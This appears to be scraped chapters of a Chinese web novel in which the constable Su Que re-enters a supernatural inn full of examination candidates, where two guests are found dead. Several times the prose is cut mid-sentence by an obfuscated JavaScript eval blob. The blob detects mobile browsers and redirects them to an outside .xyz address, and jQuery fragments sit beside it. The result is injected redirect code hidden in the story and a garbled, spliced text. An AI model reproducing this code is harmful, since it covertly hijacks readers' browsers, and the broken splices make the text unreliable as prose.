她拉着她的手，叮嘱道：“小苏，嫂子知道你本事大，等闲人近不了你的身，自保是绰绰有余的。只是出门在外，不比在家里，万事都要谨慎，能忍则忍，能让则让，不必事事计较，非要争个高低出头。这些药你带着，以防万一……平平安安地去，平平安安地回来。” 文城码头算不得天下数一数二的大港，但自有一番繁华。 出发那日，码头上迎来送往人头攒动，人声鼎沸。 大小船只密密匝匝地泊在岸边，桅杆如林。 小五竟拄着一根粗树枝，一瘸一拐，和其他人一起亲自来码头送她。 “头儿！”他看到苏却，忍着痛站得笔直，用力拍着自己的胸脯，声音有些发颤，“你放心去，衙门里有我……有张头儿看着，出不了乱子！我一定好好干，绝不给你丢人，也绝不辜负你的信任！我一定跟着张头儿好好学，不让大家操心！” 她走上前，轻轻拍了拍他的肩膀：“……好好养伤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432302|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 船很快就要开了，船工吆喝着，开始解缆绳。 苏却站在微微晃动的甲板上，目光扫过码头上送行的人群，然后，她的目光定格在人群最后方，一个毫不起眼的角落。 是母亲。 不知为何，苏却的眼前浮现的是十二年前，当时那个女人冲进火场的身影。 那个女人，不是自己的生母。 可她却不顾一切地冲进火海，把绝望的她死死地抱在怀里，一遍一遍地告诉她不能死要报仇！不能死要报仇！不能死要报仇！…… 当她每每因恐惧哭喊着要父亲母亲的时候，回应她的是一个又一个火辣辣的耳光。 “记住！你叫苏却！是个儿郎！我才是你的母亲！从今往后，我才是你的母亲！”…… 她一直非常严厉。 她的丈夫曾经是捕头，因公殉职后，唯一的儿子也重伤难愈，最终也离她而去。 她的儿子，名叫苏却。 所以，她看苏却的眼神，每一刻，都像是在透过她，看着另一个模糊的影子。 而她这个苏却，正是顶替了她那死去的儿子身份，才活下来的人。 苏却一直不知道该如何面对她，就像她不知道该怎么面对曾经那样不堪的自己。 宋停看了看一脸冷峻的苏却，代替她，向下面所有的人挥了挥手。 然后凑到她旁边，用手肘撞了撞她，哑着声音道：“怎么，没经历过这样的场面吗？” 苏却回过神，冷冷地瞥了他一眼，懒得理会他。 恰在此时，一大群人经过，过道一时有些拥挤。 宋停的目光在人群中随意扫过，忽然，他像是看到了什么，眼睛睁大，脸上掠过一丝惊讶。 他也顾不上跟苏却解释，急急忙忙就要跟上，拔腿正准备跑。 苏却反应极快，一把抓住他的胳膊，力道不小。 “你要干什么？” 宋停一只手臂挣扎着，另一只手指向前面的人流。 他拼命想说话，却因为着急，喉咙里只能发出气声：“有有有人，那个人，我认识。” “我与你约法三章，”苏却抓着他的手臂没有松开，语气严厉，“一，不可随意走动；二，不可惹是生非；三……” “你也认识！那个人。”宋停打断她。 他紧紧盯着苏却的眼睛，一字一顿地用气声强调，“你们见过，只是你忘了！” 他的话像一道闪电劈中了苏却。 她也认识？ 就在苏却愣神的刹那，宋停猛地挣脱了她的钳制，灵活地钻过甲板上人群，拽住了一个年轻男子的衣袖。 那男子穿着干净的灰布衫，身形清瘦，面容斯文白净。 宋停喘着粗气，死死盯着那男子的脸，用尽力气从嘶哑的喉咙里挤出几个字：“袁、慈、邈……是、你、对、吧？” 那被叫作袁慈邈的年轻男子，满脸惊愕。 他仔细打量着宋停，又看了看走过来的苏却，眉头微蹙，迟疑地开口：“这位兄台……我们……认识吗？” 39. 赴考（一） 赴考（一） 一个呼吸间，苏却睁眼。 对于此地的记忆，便如潮水一般，一股脑地涌现。 夜色沉沉，吞噬了所有的声响。 四下望去，不见星月，唯有黑暗，与正前方如水中浮木海市蜃楼一般的一点光亮。 没有宋停，亦没有袁慈邈，也看不见是否有其他人影。 死寂。 这个感觉，她太熟悉了。 客栈。 她又来了。 原本她此刻应该正躺在船上，身边是药草香味，往来人的喧哗，与水波掀浪的声响。 宋停还在和她絮絮叨叨讲着纸人阴亲，和自己白天去“骚扰”袁慈邈的经过。 苏却知道，虽然现实中的自己全然忘记了，虽然对宋停描述地事件中很多细节还有怀疑，但她，已经相信了这个诡异的世界确实存在。 要她这么一个不信鬼神的人相信，并不是那么容易。 不然，她一定不会安静地听。 一定会把宋停的嘴堵上，让他知道什么叫作后悔自己长了张嘴。 自从离开文城那天在船上偶然遇到袁慈邈后，宋停便总借口看嗓子、脖子疼、讨药吃、交朋友等诸多理由，拉着苏却去找他。 只不过袁慈邈和她一样，完全不记得这里发生的一切。 即便袁慈邈对宋停的举动颇感怪异，但他还是很精心地医治了宋停惨不忍听的声音。 他也确实一点一点地好转了，起码那张闲不住的嘴恢复了。 所以宋停本想叫上袁慈邈一起，完完整整地听一遍他们已经忘掉的事情。 但苏却当时并未同意。 既然他们都会忘记，那肯定就有忘记的理由，只有宋停记得，也一定有独他一个记得的内情。 若是随便提起，恐有祸事。 是她要深究，是她要报仇，不想再无端牵连他人。 且次日就要到达河阳府了，等他们先了解了解诡闻录是否与诡闻客栈有所关联，再做下一步打算也不迟。 只是没想到，这么突然，她又来了这里。 调整心绪，她朝着光点走去。 只是这一次，与以往两次不同。 客栈木门前，似乎站着一个人，像在迎接她一般。 是那个清瘦阴郁的掌柜，依旧是那身长衫，一副冷漠的模样。 苏却刚走到门前，掌柜便递来一只顶盖有一个大圆孔的木箱到她面前，挡住了她进客栈的路。 掌柜对着她淡淡道：“请抽纸条，并心中牢记，不可告知他人。” 苏却看了他一眼，伸手探入圆孔。 她随手拿了一团，展开，纸条上面只画着一个书册模样的图案。 在她看清的瞬间，纸张无火自燃，顷刻化为细小的灰烬，从她手中消散，没留下任何痕迹。 她不动声色，跨过门槛，走进了客栈大堂。 大堂内远比前两次热闹。 一眼望去，有的穿着锦绣华服，有的一身粗布短褐，还有几名穿着各色裙衫的女子，尽数是年轻面孔。分席而坐。 他们分席而坐，界限分明。 女子都在右手边，聚成了两桌，偶有低语，眼神大多警惕。 男子则在左手边，坐满了三张方桌，还有些无处落座的，便三三两两靠墙站着。 苏却很自然地走过去，靠着楼梯扶手。 站在了中间。 在她之后，又陆续进来了几名男子，随后，掌柜也慢悠悠地进来，转身关上了门，落上门闩。 他还是一如既往站回到了账台后面，神情冷漠却勾着嘴角，看向堂内众人。 “劳诸位举子久候，”他开口，“九日后，诸位皆要进京赴考，在此小住，小店蓬荜生辉。” 举子？赴考？ 所以这次有这样多的人，就是因为，他们要去参加科考吗？ 是哪一年的科考？也会和现实中有关联吗？ 苏却微微蹙了蹙眉头。 女子读书并不罕见。 曾经家中，便在她幼时特地请了先生开蒙，习字明理。 本朝虽未明令禁止女子读书，却也仅止于此。 这样的条件，并不是人人都能享有的。 而且男不言内，女不言外。 那科举之路，一直都是男子的青云梯，与闺阁女子从来无关。 女子纵有满腹诗书，一身见解，最终也多半囿于后宅方寸之地，化作相夫教子的谈资，无济于事。 所以，在她目前这种处境下，竟然还能有机会参加科考，也是实在罕见之事。 其他人的想法自然也和苏却差不多，一个个面露惊讶，目光时不时瞥向另一侧的几位女子身上。 掌柜继续道：“诸位既已到齐，务必谨记，每日定要按书院规定的时辰作息。自然，如果有任何需要，也可以来找我。” 言罢，按照惯例进行了寿命兑换的物品介绍。 大多数人均是目光沉静，不曾与旁人言语。 但角落里有几个，身体颤抖如同筛糠，脸色惨白，眼神里全是茫然的恐惧，显然是第一次被卷入此地的新人。 “……本次命筹，”掌柜的最后补充道，“会由书院先生发放给诸位。二楼皆为诸位的客房，书院的作息时间，已经放在了房间之中。请早些休息，望各位慎之重之，诸劫可破。” 掌柜话音刚落，苏却身形一闪，已从楼梯扶手边掠至最近的桌旁，抄起一盏燃着的烛灯，踏着木楼梯三步并作两步，飞速上楼。 她这一动，楼下的人群先是愕然，随即一下子就骚动起来。 不管是男是女，也不管认识不认识，都纷纷开始交头接耳。 “那人谁啊？” “怎么如此无礼！” “他怎的就上去了？” “那我们是不是也该……” 苏却对楼下的一切充耳不闻。 她没兴趣听那些所谓的号召、宣言，和那些虚伪的自我介绍，更没耐心去分辨哪些是可以合作、信任的人。 反正还有时间，该认识的，总会认识。 一如往昔，第一个晚上的客栈二楼总是一片漆黑，唯有她手中蜡烛，在她身前撑开一小圈光亮。 她放慢脚步，借着烛光，一边走一边默数两侧的房门。 左边十间，右边十间，门扉紧闭，样式统一。 一共二十间房，对应着他们一共二十个人。 她依旧选择了廊道尽头的一间，推门而入。 房间依旧不大，陈设依旧简单，靠墙立着一只木柜，一张床榻，床边放着一只书笈，一张长条凳，一张木桌。 苏却走近桌子，放下烛台，看到桌上还有一张写满了字的纸。 她拿起。 这个字迹……非常眼熟，但是，她竟然一时想不起是在哪见过的字。 纸上写的是修明书院的日程表。 修明书院日程表 卯正三刻——辰初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441879|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事宜：离栈，赴院。 客栈门开，学子须于此一刻钟内全部离开。辰初一刻，客栈闭门落锁，未出者视为惰学。 辰初——辰正 事宜：晨读，背书。 于明伦堂就座，诵读指定经义。期间，每人必须起身发言一次，内容不限。沉默不语者，视为无知。 辰正——巳正 事宜：入斋，抄书。 各自进入指定书房，闭门抄写案上书籍五遍。笔墨纸砚皆由书院提供，不得损毁、污秽或携出。先抄写完毕者，便可先于院内活动休息，未抄写完者，视为急躁。 巳正——午初 事宜：休憩，饮食。 可于书院区域活动，允许自由交谈。 午初——未正 事宜：温书，撰文。 返回各自书房，完成当日策论题目。文章须在未正前置于书房门口的特制木箱内，过时不纳，未上交者视为怠业。 未正——申初 事宜：交卷，互学 上交后，每人每天可以有三次寻找同窗单独讨论的机会，不限内容。超过三次者，视为滥交。 申初——酉初 事宜：散学，归栈。 书院先生批阅，需安静于书房内等候，批阅完毕，先生会将命筹从门缝塞入。得到后，即可离开书院返回客栈。酉初一刻，客栈开门。酉正，客栈闭门落锁，未归者视为“外宿”。 酉正——翌日卯正 事宜：居栈，禁行。 学子须居于各自房内，休息，安寝。 看起来密密麻麻，倒是并不复杂，不过寻常的书院规矩。 只是……惰学、无知、急躁、怠业、滥交、外宿，这条条框框，摆明了就是不可违反。 悬剑于头顶，不知如何落。 这几条，是否会和命筹挂钩？ 入门前抽的纸条意欲何为？ 若日程之中各项任务都是踏踏实实完成，又如何排列命序确认末位？ 总不可能是真的要他们九天后去参加科考吧。 苏却掀开床上的枕头，下方是属于她可使用的物品，匕首、短笔和宋停上一次塞到她手中的瓷瓶。 瓶塞很紧，拔开后能够嗅到一股清苦的味道。 盖回后，她将此三物都收在身边，把枕头放进床铺内侧，吹了蜡烛，和衣躺下。 楼下的骚动似乎持续了一阵，才渐渐平息，最终归于沉寂。 期间，她能听到人群上楼入房的脚步声，开门声，关门声，落栓声。 然后，是更深沉的寂静。 不知过了多久，门外似乎有一些细微的声响，极轻极微，隔着屋门，听不真切。 苏却依旧闭着眼，呼吸平稳。 日程上写明了“居栈，禁行”，她并不好奇外头究竟是什么声音。 谁也不能保证，声音的背后，是否是一个要命的陷阱。 在这里，黑夜总是过得很快，她只需要保持警惕安静地休息，积蓄体力。 然而，这种平静并没有维持到天亮。 就在天色渐转，微微泛光之际，一阵急促疯狂的敲门声，伴随着一个男子惊惶地抽泣，撕裂了这一天的黎明： “开门！开门啊！有没有人！死……死人了！死了！死了啊——！” 紧接着，是更多房门被拉开的声音，杂乱的脚步声，高高低低询问声，以及持续不断的尖叫与崩溃的哭喊。 苏却缓缓睁开了眼睛。 40. 赴考（二） 赴考（二） 死者共两名，皆是男子。 第一个被发现的，是住在正对楼梯口那一间的人。 有人早起，正准备下楼时便察觉了不对劲。 此间房门大敞，甚至无需入内，只消经过门口，一股浓烈的血腥味便直直冲进鼻腔，令人作呕。 往里瞥去，先是看见蜿蜒在地上的暗红色血泊，再抬眼，一个身体仰面躺在板床上，血迹的范围大得惊人，几乎覆盖了整个床榻。 死在苏却隔壁的这位，是稍后才被发现的。 当时，楼梯口的尖叫吸引了所有住客的注意力，众人纷纷出门，涌向楼梯口欲查看情况。 廊道上一瞬就挤满了惊惶崩溃的人群。 所以几乎没人注意到，廊道深处这一间，也同样敞着屋门。 住在苏却对面的绿衣女子出门晚了，慌慌张张地开门也要去看看楼梯口那边的惨状，可途中无意间往旁边的房间瞥了一眼，便瞥见了一个直挺挺躺在床上的人。 至此，众人方才彻底明了自身处境。 二十人的队伍，一夜之间，死了两名同伴。 可当苏却想去隔壁仔细看一看之时，却被挡在了门外。 挡在她面前的是位身材魁梧的青年男子，只是站在那里，就几乎堵死了整个门口。 他居高临下地看着苏却，眼神里满满的敌意。 “人死在你隔壁，你还想进去？”男子刻意加重了“你隔壁”三个字，阴阳怪气道，“不如避避嫌吧你。” “人死在客栈，你我又同住二楼，你不让我看，不知是否因为心虚。”苏却双臂交叠抱在胸前，眼神平静地看着他，语气淡漠道，“该避嫌的人，难道不是你吗？” “你说什么？”他顿时怒不可遏，攥紧了拳头，青筋暴起，咬牙切齿道，“你……” 但他无话可说，只上下打量了一番苏却，一股凶悍的气息扑面而来，似乎下一瞬他就要动手。 苏却身形岿然不动，唯有眼神更冷冽了几分。 附近的人都下意识地后退了半步，生怕被殃及。 “子唐兄弟，大家有话都好好说。” 一个温和的声音于人群中响起，打破了这剑拔弩张的气氛。 众人循声望去，只见一行人从楼梯方向走来。 为首的是个青年，年纪大概二十多岁，与苏却差不多高，一袭粉白衣袍衬得他面若玉琢，甚是标致，尤其引人注目的是他右眼角下那颗殷红的小痣，平添了几分风流与多情。 方才出言相劝的，正是他。 那被称为“子唐”的魁梧男子，见到这青年，面上怒色一下就收敛了大半，虽仍有些不甘，却还是收回了拳头，只恶狠狠地瞪了苏却一眼，侧身让出了门口的空位。 出言解围的青年走到苏却面前，态度谦和地拱了拱手，道：“昨夜匆匆一面，不曾好好相谈，在下叶别风。” 闻言，苏却一愣。 这人，竟是叶别风。 怪不得。 这个名字，在国境之内几乎无人不知，无人不晓。 他三岁能诗，四岁入宫伴读东宫，七岁所撰文章被广为传颂，及至年长，更是不拘古法，文风自成一格，随心抒情，佳作频出，引得无数文人追捧。 他是皇后内侄，叶家独子，真正的少年天才，天之骄子。 叶家本就是高门显贵，权倾朝野，叶别风又才华横溢，贤名在外，可谓集万千宠爱于一身，前途不可限量。 他人要获取信任，或许磨破嘴皮说尽好话也无济于事。 而眼前这人，只需要报上自己的名字就足够了。其名号本身，就是一块金字招牌，足以让许多人信服与追随。 只是，在此等绝境，竟遇此等如明珠一般的人，且同他们这些升斗小民、江湖草莽，一齐被卷入这诡异莫测生死一线的漩涡。 不得不说是造化弄人。 苏却同样抱拳回礼：“苏却。” 叶别风微微颔首，目光探入屋内，眉头蹙起，随即又转向苏却，询问道：“苏兄弟昨夜居于隔壁，可曾察觉任何异响或异常？” 苏却想起了半夜那阵轻微的动静，摇了摇头，回道：“不曾，睡得很沉。” 这话半真半假。 如若睡在枕头上，自然沉眠无感。而她，也确实休息了。 叶别风闻言，并未怀疑苏却的话，只是轻轻叹了口气，提醒道：“苏兄弟还需多加小心。这客栈内的枕头，似乎有些异常，最好不要睡得太死，以免危急关头反应不及。” “多谢提醒。”苏却应道，心中却是一动。 叶别风竟特意点出此事，是收买人心，还是只是单纯出于好意？ 两人不再多言，相□□头致意，前一后进入了出事的房间。 房间布局与苏却那间并无二致，一样的狭小简陋。 然而，空气中似乎夹杂着一点腥臊臭气，一阵一阵袭来。 这名死者是被掐死的。 此人仰面朝天，双目圆睁，瞳孔已涣散，面色青紫，口唇微张，脖颈上一圈深紫色的扼痕十分明显，指压痕迹轮廓分明。 其身下衣物浸满污渍，是死前失禁所致。 叶别风应该是从未见过这样污秽直接的死亡场面，并未贸然上前，只向屋内几人介绍道：“此间住客名叫万夜空，只因其名‘夜空’二字，意境开阔，故而有些印象，但对其底细不甚了解，观其昨日表现，应是初次接触此地，惊惧交加，神色惶惶。” 苏却一边听着，一边仔细观察。 房间内桌面干净，柜门紧闭，书笈放在床边，未曾打开。 除了尸体周围的污渍，并无其他痕迹，只有床铺凌乱，被褥被蹬踹纠缠成一团，枕褥间还散落着挣扎时扯断的头发。 苏却靠近尸体，弯下身，仔细查看。 死者双手保持着挣扎时抓挠的姿势，指甲缝里嵌着些许木屑。 苏却伸手比画了一下扼痕大小与形状，她的手不算大，亦不小，而这痕迹比她要大一些，并且是双手交叠，用极大的力气，死死按住他的喉咙，直至断气。 “两名死者，昨夜可有什么异于常人的举动？”苏却目光仍在尸体上停留，头也不抬地问道。 一个女子怯生生地开口：“昨、昨天晚上，大家都在一起，要说异常……不知争吵，算不算……” “争吵？”苏却问道。 叶别风关上空的衣柜，转过身来，看向苏却，说明道：“只是小事。那边那一位名叫范月楼，应也是初来乍到，心中惶恐，便与万夜空争吵起来，都说要住在……里面。” 绿衣女子赶忙解释道：“大家都是抽签分房的，这这这，也怪不了我。” 原来如此。 两人都不想住最外面，便起了争执。 那女子还在努力回忆着：“他们具体吵了什么我并没听太清，当时人声杂乱，只看到他们两人面红耳赤，还互相推搡了几句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451008|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，后来被旁人劝开了。” 可，就为了一个房间的位置争吵？ 楼梯口的房间，是更容易被……盯上？ “还有吗？”苏却追问。 女子摇了摇头：“后来他们就各自回房了，再没别的。” 话刚说到这里，楼下突然传来掌柜的喊声：“门已开，诸位举子，莫误了时辰。” 人群瞬间涌动起来。 那张纸上的规定清晰地印在每个人脑海里。 辰初一刻，客栈闭门落锁，未出者视为惰学。 惰学的下场，并无一人敢去验证。 “先走吧，先按日程行动更要紧。”叶别风当机立断，语气凝重，“此事容后细查。” 众人再无异议，纷纷转身，争先恐后地涌向楼梯。 勘察被迫中断。 苏却最后瞥了一眼床上万夜空，随即也快步跟上人群。 楼下大堂，掌柜站在账台后面，依旧是那副冷面笑唇的模样，楼上的生生死死都与他毫无干系。 桌上放着几大盘冷掉的馒头和包子，还有一桶寡淡的米汤，但众人已经没有时间细细用餐，只能胡乱抓了些吃食拿在手里，一边赶路，一边仓促地塞几口。 门外，并非预想中的天光大明，而是笼罩在一片白茫茫的大雾之中。 三步之外，人影便已模糊，五步开外，只剩一片混沌。 脚下的路尚能勉强辨认，但路旁两侧完全无法看清。 奇怪的是，尽管视线受阻，这群来自四面八方的陌生人，却都默契地朝着同一个方向前行。 没有人质疑该往哪里走。 仿佛书院的位置，在踏出客栈门的瞬间，就已在他们的本能之中。 突然，前方传来一声短促的惊叫。 “啊！什、什么东西？！” 人群停滞，引发了一阵混乱。 苏却眼神一凛，立刻拨开前面的人，快步上前。 浓雾中，隐约看到一个人影跌坐在地。 她蹲下身，看向那人脚边。 非常眼熟的衣料。 苏却的心猛地一沉。 是宋停。 他来了。 他头发和衣衫都湿漉漉的泛着潮气，双目紧闭，脸色惨白，浑身冰冷，毫无生气地躺在地上。 一瞬间，一个极其糟糕的推测闪过苏却的脑海。 他可能，就在这浓雾弥漫、寒意刺骨的客栈外面，躺了整整一个晚上。 他，一直像是一名局外人一般，已经和她一起，连续三次进入。 可其他人，她没有遇见过第二次。 这是不是说明了，宋停已经知道了如何能与她进入同一事件的方式。 上一次回去前，他仿佛遗言一般地交代，告诉她来不及救也没关系，是他自己愿意的。 醒来后，他的情况也确实万分危急，差一点就真的来不及了。 难道说……宋停唯有在现实世界中濒临死亡，方能被拉入此间，再度来到她身边？ 这个念头让苏却心底泛起一阵寒意。 如果真是这样，那每一次在这里见到他，都意味着，他在现实世界中，正游走在死亡的边缘。 那么，他为何要如此执着地跟来？ 苏却收回手，看着宋停苍白的面孔，眼神复杂。 叶别风上前一步，搀起宋停，看向苏却道：“搭把手，带上他，无论如何不能把他留在这里。” 41. 赴考（三） 赴考（三） 一开始，原本是将宋停的胳膊搭在苏却和叶别风的肩上，两人支起他往前走。 可此时的宋停完全失去意识，身体软绵绵的。 两人刚将他的胳膊架起，他的膝盖便一软，整个人不受控制地向下坠。 叶别风不得不加大力道，手臂紧紧箍住宋停，几乎是将他半提起来，苏却则费力地顶住他腰腿。 这别扭的姿势让三人举步维艰，深一脚浅一脚，踉踉跄跄，速度极慢。 苏却停了下来，道：“这样不行” 她松开手，示意叶别风独自支撑住宋停的全部重量。 叶别风稳住，苏却利落地转身，背对着宋停，在他面前稳稳蹲下，沉声道：“我来背。” 叶别风眼中掠过一丝讶异。 苏却的身形虽算得上挺拔，但背脊看上去并不宽厚，甚至有些单薄。 他欲言又止，最终只是应道：“好。” 他小心地调整姿势，将宋停的身躯慢慢挪到苏却的背上。 当全部的重量压下来时，苏却的膝盖微微颤抖了一下，但也将人稳稳地背了起来。 叶别风不敢完全放手，一手仍扶在宋停后背，以防他滑落，还时不时探探鼻息，告诉苏却，他还活着。 人群在浓重的白雾中继续向前移动。 一路上，苏却总是不由自主地想起之前宋停出现的场景。 第一次见他，实在算他命大，差点被忽略的气泡，是他给她的求救信号。同样的，在实际中，他也是一个即将溺毙之人，被她从水中救了上来。 他说，因为她救了他的命，所以要她负责。 他还说，因在兑换时，掌柜让他窥见一片幻境，在他将死之际，身侧站立之人正是她。 上一次，他从楼梯滚落，可在实际中，他正吊在半空之中，也正是因为他吊着，所以才会从高处摔下，告诉她自己是心甘情愿如此做。 看来，自己方才的猜测，竟是真的。 苏却的心一点点沉下去。 她忽然意识到，人和人之间，竟是如此的不同，自己不惜一切代价也要保全的性命，对宋停而言，反而成了一场需要咬牙坚持的苦役。 他是真的，一点都不在乎。 那么如今他面无血色昏迷不醒呼吸微弱，在现实中，他又选择了怎样的死法？ 是刀兵加身，是毒药入喉，还是别的什么更惨烈的方式？ 这个念头让苏却心口发紧，沉甸甸的，透不过气来。 她下意识地将背上的人往上托了托，继续向前走。 不多时，前方雾气里终于传来一声惊呼：“到了，前面……好像是书院到了！” 众人精神为之一振，不约而同地加快了脚步。 又走了一小段路，一个院门轮廓终于在迷雾中逐渐清晰起来。 当跨入门槛后，周围的景象迅速变化，浓雾仿佛被人尽数吸走一般消失无踪，视野豁然开朗，书院内部的景象清晰地展露在众人眼前。 可回头望向门外，一如既往地浓雾翻腾。 众人继续往里走。 首先映入眼帘的是进门右手边那口大钟，有些锈迹，应该是用于提醒一日时辰。 正前方，是一片树木高大，灌丛茂密的园子，把其他建筑都掩映在枝繁叶茂之后，隐约露出些屋子的颜色，非常隐蔽。 几条曲径扩散开，不知通往何处幽静。 沿着面前这条蜿蜒小径，穿过林木与灌丛，一座颇为宽敞的堂室出现在视野中。 它三面垂着泛黄的竹帘，唯有一面靠墙。门口悬挂着一方匾额，上书“明伦堂”三个大字。 这里，便是他们接下来需要进行晨读的地方。 紧邻着明伦堂，是一间小巧的屋舍，白墙黛瓦，门阶下左右各栽种着几丛兰草，细长的叶片透着几分孤高。 那屋舍门窗紧闭，看起来，像是先生的居所。 明伦堂左右两侧，都有覆盖着干枯藤蔓的草棚廊道，而透过林木的缝隙，能隐约瞥见两侧均有一幢二层屋舍，想来就应该是抄书的书斋了。 如若从明伦堂出来，只需走两侧廊道，便可直接通往那两幢书斋。 明伦堂的后方，隔着另一个景致与前园类似的幽静后园，还能看到另一处屋舍，屋顶上似乎有根烟囱，想必是提供饮食的所在。 明伦堂内，众人已经纷纷落座，大多选择靠后或中间的位置。 苏却背着宋停，对周遭目光视若无睹，径直走向最后排。 叶别风二话不说，脱下外袍垫于地上，协助苏却将宋停小心、缓慢地卸下，安置其躺卧。 随后，他自然而然地选择了苏却旁边那个空着的蒲团坐下。 “铛——！” 一声悠远、沉重钟声传来。 几乎就在钟声响起的同时，明伦堂三面垂挂的竹帘齐齐落下，将堂内与外部隔绝开来。 晨读的时辰，已然到了。 然而，每个人面前的书案上都空空荡荡，不见笔墨，更无纸砚。 环顾整个明伦堂，四壁萧然，竟找不到一册可供阅读背诵的书籍卷轴。 最初的沉寂被打破，取而代之的是焦躁和恐慌。 终于有人按捺不住，转过头来，看向坐在最后面的叶别风，颤声问道：“叶、叶公子……这……没有书，我们如何晨读？” 这句话问出了在场大多数人的心声。 一时间，所有人的视线，都齐刷刷地落在了叶别风身上。 叶别风脸上看不出太多的情绪，他缓缓起身，问道：“我们之中，可还有初次经历此地的朋友？” 众人闻言，互相看了看。 片刻的骚动后，三个人犹豫着，站了起来。 两男一女，普通样貌，普通装扮。 叶别风微微颔首，语气温和，挥挥手道：“三位不必惊慌，请坐。” 待他们重新落座后，他才继续开口，声音不大，却足以让堂内每个人都听得清清楚楚：既如此，叶某便不揣冒昧，将此地的一些已知情况，再与诸位说明一下，或许能有所帮助。” 他略作停顿，缓缓道：“算上此次，叶某也仅经历了四次。大抵每隔二十余日，甚或三十几日，便会于夜深人静沉入梦乡之后蓦然惊醒，发觉自身已身处一片无边黑暗之中，四顾茫然，唯有前方客栈是唯一可去之处。” “客栈之内，有一位行踪成谜的掌柜，他手中有可用自己阳寿兑换的道具，诸如窥命镜、护命符等等。然而，切记，非到万不得已生死一线的关头，绝不可轻易与之交换。”他正色，语气变得严肃，“因其不仅代价高昂，透支的是我等性命，更有次数与数量的限制。若随意挥霍，待到真正危急之时，恐无物可用，届时便是追悔莫及。” “此外，客栈客房内的枕头，似乎有极强的助眠安神之效，是否要倚靠它入睡，需自行斟酌。在此地，死亡往往并非偶然，十有八九与触犯某些或明或暗的规则密切相关。我等身处此地，需万分谨慎，如履薄冰，时刻留意，遵循此间的一切规矩，方是保命之道。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456462|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他将自己所知的，几乎已经全数告知，条理清晰，没有夸大，也没有隐瞒。 苏却静静听着，发现他所言与她自己所经历总结而得的基本一致。 一时间，这位出身显赫名满天下的叶家公子，究竟是出于真心想要共渡难关，还是另有所图，倒让人有些难以分辨了。 叶别风回到苏却身边，跪坐在蒲团上，彬彬有礼道：“昨夜仓促，大家心神不安，想必也未能好好相识。借此晨读时辰，虽无书可读，但要求是每人必须发言，并可内容不限，不如我们借此机会，再好好地认识一番。不知诸位意下如何？” 他此言一出，立刻得到了积极地响应。 一个穿着富贵，嘴角天生带着三分笑意的男子率先站起身，朝着叶别风的方向拱了拱手：“叶公子高义，能将如此紧要之事坦诚相告实在感激不尽。在下秦玉奇，乃一介商贾，奔走四方，混口饭吃。平生别无他好，唯独喜爱收集些奇珍异玩，金石字画。也是缘分使然，秦某多年前曾有幸，重金购得叶公子八岁那年亲笔所书的一篇手稿，秦某珍爱异常，藏于家中秘室。岂能想到，今日竟有缘亲眼得见公子风采，是秦某之大幸也！” 他话语间极尽奉承，同时也不着痕迹地炫耀了自身财力。 叶别风面色如常，起身回了一礼，淡淡道：“秦老板过誉了。少时信笔涂鸦之作，稚嫩粗陋，不堪入目，承蒙错爱，愧不敢当。” 接着，那魁梧男子站起身：“华子唐，护院。” 随后是住在苏却正对面的那位绿衣女子：“小女子孟兰红。” “我叫段春音。”是刚才在万夜空房间与苏却一起讲过话的女子。 有了这几人带头，其他人也陆续起身，报上自己的姓名， “林无岩。” “杨季野。” “张山起。” “李共川” …… 剩下的几个苏却也只是简单听了一耳，而她的大半心神，始终系于身旁气息奄奄的宋停身上。 “苏却。”她刚坐下，就敏锐地感觉到自己身旁的宋停似乎抽搐了一下。 而与此同时，一位男子突然走到她身边，自然地蹲下身，关切道：“这位兄台……似乎是失血过多、元气大伤。苏兄方才，可曾仔细检查过，他身上是否有明显的外伤创口？” 苏却抬眼，对上此人目光，依稀记得他好像叫林无岩。 他的眼神干净，眉头皱起，有几分怜悯神色。 她摇了摇头，道：“我已粗略看过，并未发现任何明显的伤口或者血迹，衣物之上，只有被露水浓雾沾湿的潮气。” “那便有些奇了。”林无岩闻言，沉吟道，“眼下若不能尽快设法为他保暖，驱散寒意，只怕……这口气随时会断……” 